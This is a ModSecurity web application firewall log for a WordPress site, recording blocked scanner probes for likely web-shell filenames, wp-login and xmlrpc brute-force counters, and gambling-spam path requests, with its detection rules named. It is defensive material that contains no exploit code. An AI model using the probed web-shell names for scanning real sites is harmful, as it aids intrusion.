[Mon Apr 13 10:07:06.924049 2026] [:error] [pid 63309:tid 63318] [client 20.91.214.115:40389] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adxPykpIKZ10weXpf0WyAwAAAAU"]
[Mon Apr 13 10:07:09.486332 2026] [:error] [pid 7228:tid 7241] [client 20.91.214.115:54381] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adxPzQEnn1dQrOSHHNVFlQAAAQs"]
[Mon Apr 13 10:07:11.964150 2026] [:error] [pid 7228:tid 7251] [client 20.91.214.115:8472] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adxPzwEnn1dQrOSHHNVFmwAAARU"]
[Mon Apr 13 10:07:21.344103 2026] [:error] [pid 63311:tid 63376] [client 20.91.214.115:54392] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "adxP2aHjrGN1MqBCVFlUjgAAAIU"]
[Mon Apr 13 10:07:24.242083 2026] [:error] [pid 63406:tid 63430] [client 20.91.214.115:60884] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "adxP3LHZEIkQ0Zmgp5pCZAAAANM"]
[Mon Apr 13 10:07:25.586009 2026] [:error] [pid 63309:tid 63329] [client 20.91.214.115:54392] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "adxP3UpIKZ10weXpf0WyKQAAABA"]
[Mon Apr 13 10:07:32.243090 2026] [:error] [pid 63406:tid 63411] [client 20.91.214.115:54809] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfilexxx.php"] [unique_id "adxP5LHZEIkQ0Zmgp5pCewAAAMA"]
[Mon Apr 13 10:07:34.560785 2026] [:error] [pid 63309:tid 63320] [client 20.91.214.115:40392] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfilexxx.php"] [unique_id "adxP5kpIKZ10weXpf0WyPgAAAAc"]
[Mon Apr 13 10:07:37.742057 2026] [:error] [pid 63311:tid 63394] [client 20.91.214.115:8502] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfilexxx.php"] [unique_id "adxP6aHjrGN1MqBCVFlUqAAAAJc"]
[Mon Apr 13 10:07:41.647392 2026] [:error] [pid 63406:tid 63418] [client 20.91.214.115:8329] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfilexxx.php"] [unique_id "adxP7bHZEIkQ0Zmgp5pCkgAAAMc"]
[Mon Apr 13 10:07:43.330543 2026] [:error] [pid 63310:tid 63354] [client 20.91.214.115:12385] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/karma_144a.php"] [unique_id "adxP73oXpRU5ztmwPjLOHwAAAEo"]
[Mon Apr 13 10:07:44.286631 2026] [:error] [pid 63309:tid 63337] [client 20.91.214.115:8336] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/karma_144a.php"] [unique_id "adxP8EpIKZ10weXpf0WyVQAAABg"]
[Mon Apr 13 10:07:45.067391 2026] [:error] [pid 7228:tid 7253] [client 20.91.214.115:60915] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/karma_144a.php"] [unique_id "adxP8QEnn1dQrOSHHNVF8wAAARc"]
[Mon Apr 13 10:07:47.528502 2026] [:error] [pid 63309:tid 63314] [client 20.91.214.115:60925] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/karma_144a.php"] [unique_id "adxP80pIKZ10weXpf0WyWgAAAAE"]
[Mon Apr 13 10:07:48.396779 2026] [:error] [pid 7228:tid 7234] [client 20.91.214.115:8320] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3586%20b64.php"] [unique_id "adxP9AEnn1dQrOSHHNVGBwAAAQQ"]
[Mon Apr 13 10:07:50.595191 2026] [:error] [pid 63309:tid 63337] [client 20.91.214.115:54372] [client 20.91.214.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3586%20b64.php"] [unique_id "adxP9kpIKZ10weXpf0WyYwAAABg"]
[Mon Apr 13 10:09:15.123431 2026] [:error] [pid 63406:tid 63433] [client 20.91.214.115:51879] [client 20.91.214.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.91.214.115, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adxQS7HZEIkQ0Zmgp5pDUAAAANY"]
[Mon Apr 13 10:09:55.378639 2026] [:error] [pid 7228:tid 7236] [client 20.91.214.115:60917] [client 20.91.214.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.91.214.115, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adxQcwEnn1dQrOSHHNVHgQAAAQY"]
[Mon Apr 13 11:41:08.935124 2026] [:error] [pid 7228:tid 7247] [client 98.159.233.33:34167] [client 98.159.233.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 98.159.233.33, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adxl1AEnn1dQrOSHHNWH6gAAARE"], referer: https://vetstars.com.au/
[Mon Apr 13 12:57:52.234965 2026] [:error] [pid 63406:tid 63418] [client 51.83.9.208:56588] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adx30LHZEIkQ0Zmgp5qIGwAAAMc"]
[Mon Apr 13 12:57:54.881039 2026] [:error] [pid 7228:tid 7238] [client 51.83.9.208:56162] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adx30gEnn1dQrOSHHNW9SQAAAQg"]
[Mon Apr 13 12:57:57.197315 2026] [:error] [pid 63406:tid 63419] [client 51.83.9.208:56166] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adx31bHZEIkQ0Zmgp5qIHgAAAMg"]
[Mon Apr 13 12:57:59.726330 2026] [:error] [pid 63309:tid 63315] [client 51.83.9.208:59250] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adx310pIKZ10weXpf0XWzwAAAAI"]
[Mon Apr 13 12:58:02.201018 2026] [:error] [pid 7228:tid 7243] [client 51.83.9.208:59266] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adx32gEnn1dQrOSHHNW9XAAAAQ0"]
[Mon Apr 13 12:58:04.638617 2026] [:error] [pid 7228:tid 7233] [client 51.83.9.208:59280] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adx33AEnn1dQrOSHHNW9XwAAAQM"]
[Mon Apr 13 12:58:07.056749 2026] [:error] [pid 63406:tid 63424] [client 51.83.9.208:59284] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adx337HZEIkQ0Zmgp5qIMQAAAM0"]
[Mon Apr 13 12:58:09.434491 2026] [:error] [pid 7228:tid 7231] [client 51.83.9.208:34832] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adx34QEnn1dQrOSHHNW9YwAAAQE"]
[Mon Apr 13 12:58:11.998367 2026] [:error] [pid 63310:tid 63356] [client 51.83.9.208:34840] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adx343oXpRU5ztmwPjL4cAAAAEw"]
[Mon Apr 13 12:58:14.428661 2026] [:error] [pid 63309:tid 63316] [client 51.83.9.208:34854] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adx35kpIKZ10weXpf0XW2AAAAAM"]
[Mon Apr 13 12:58:16.848294 2026] [:error] [pid 63309:tid 63326] [client 51.83.9.208:34870] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adx36EpIKZ10weXpf0XW3gAAAA0"]
[Mon Apr 13 12:58:19.378877 2026] [:error] [pid 63309:tid 63320] [client 51.83.9.208:56968] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adx360pIKZ10weXpf0XW6wAAAAc"]
[Mon Apr 13 12:58:21.822541 2026] [:error] [pid 7228:tid 7250] [client 51.83.9.208:56976] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adx37QEnn1dQrOSHHNW9igAAARQ"]
[Mon Apr 13 12:58:24.345928 2026] [:error] [pid 7228:tid 7247] [client 51.83.9.208:56978] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "adx38AEnn1dQrOSHHNW9kwAAARE"]
[Mon Apr 13 12:58:27.002106 2026] [:error] [pid 57183:tid 57199] [client 51.83.9.208:56984] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adx38zDO3t8R5NaxzYQ9TwAAAU4"]
[Mon Apr 13 12:58:29.378253 2026] [:error] [pid 7228:tid 7244] [client 51.83.9.208:44234] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adx39QEnn1dQrOSHHNW9mwAAAQ4"]
[Mon Apr 13 12:58:31.915517 2026] [:error] [pid 57183:tid 57202] [client 51.83.9.208:44246] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adx39zDO3t8R5NaxzYQ9YgAAAVE"]
[Mon Apr 13 12:58:34.286719 2026] [:error] [pid 57183:tid 57195] [client 51.83.9.208:44250] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adx3-jDO3t8R5NaxzYQ9bQAAAUo"]
[Mon Apr 13 12:58:36.864554 2026] [:error] [pid 63311:tid 63395] [client 51.83.9.208:44260] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adx3_KHjrGN1MqBCVFmJYAAAAJg"]
[Mon Apr 13 12:58:39.289807 2026] [:error] [pid 63406:tid 63428] [client 51.83.9.208:58872] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adx3_7HZEIkQ0Zmgp5qIWQAAANE"]
[Mon Apr 13 12:58:41.830877 2026] [:error] [pid 63406:tid 63421] [client 51.83.9.208:58880] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adx4AbHZEIkQ0Zmgp5qIYwAAAMo"]
[Mon Apr 13 15:35:48.527174 2026] [:error] [pid 63406:tid 63412] [client 170.106.82.209:57952] [client 170.106.82.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adyc1LHZEIkQ0Zmgp5rJUwAAAME"]
[Mon Apr 13 17:03:23.330788 2026] [:error] [pid 63406:tid 63428] [client 20.100.201.121:64604] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adyxW7HZEIkQ0Zmgp5oUXAAAANE"]
[Mon Apr 13 17:03:23.869517 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:64618] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adyxWzDO3t8R5NaxzYTM_QAAAVY"]
[Mon Apr 13 17:03:24.521714 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:64699] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adyxXLHZEIkQ0Zmgp5oUXwAAAMQ"]
[Mon Apr 13 17:03:25.034829 2026] [:error] [pid 9314:tid 9321] [client 20.100.201.121:65203] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adyxXW_r4W8fX2GWyGTERAAAAYU"]
[Mon Apr 13 17:03:25.604838 2026] [:error] [pid 57183:tid 57188] [client 20.100.201.121:65196] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxXTDO3t8R5NaxzYTNBgAAAUM"]
[Mon Apr 13 17:03:26.170629 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:64635] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxXgEnn1dQrOSHHNVWXAAAAQ8"]
[Mon Apr 13 17:03:26.740790 2026] [:error] [pid 9314:tid 9335] [client 20.100.201.121:65107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxXm_r4W8fX2GWyGTESAAAAZM"]
[Mon Apr 13 17:03:27.012855 2026] [:error] [pid 63310:tid 63344] [client 20.100.201.121:64628] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adyxX3oXpRU5ztmwPjItpwAAAEA"]
[Mon Apr 13 17:03:27.337436 2026] [:error] [pid 63311:tid 63388] [client 20.100.201.121:65156] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cilus.php"] [unique_id "adyxX6HjrGN1MqBCVFnORwAAAJE"]
[Mon Apr 13 17:03:27.592822 2026] [:error] [pid 9314:tid 9334] [client 20.100.201.121:64613] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adyxX2_r4W8fX2GWyGTESwAAAZI"]
[Mon Apr 13 17:03:27.886712 2026] [:error] [pid 7228:tid 7240] [client 20.100.201.121:64652] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxXwEnn1dQrOSHHNVWZQAAAQo"]
[Mon Apr 13 17:03:28.419170 2026] [:error] [pid 57183:tid 57185] [client 20.100.201.121:64134] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxYDDO3t8R5NaxzYTNDgAAAUA"]
[Mon Apr 13 17:03:29.052839 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:65170] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxYW_r4W8fX2GWyGTETgAAAYM"]
[Mon Apr 13 17:03:29.590298 2026] [:error] [pid 63309:tid 63329] [client 20.100.201.121:64668] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adyxYUpIKZ10weXpf0UBRQAAABA"]
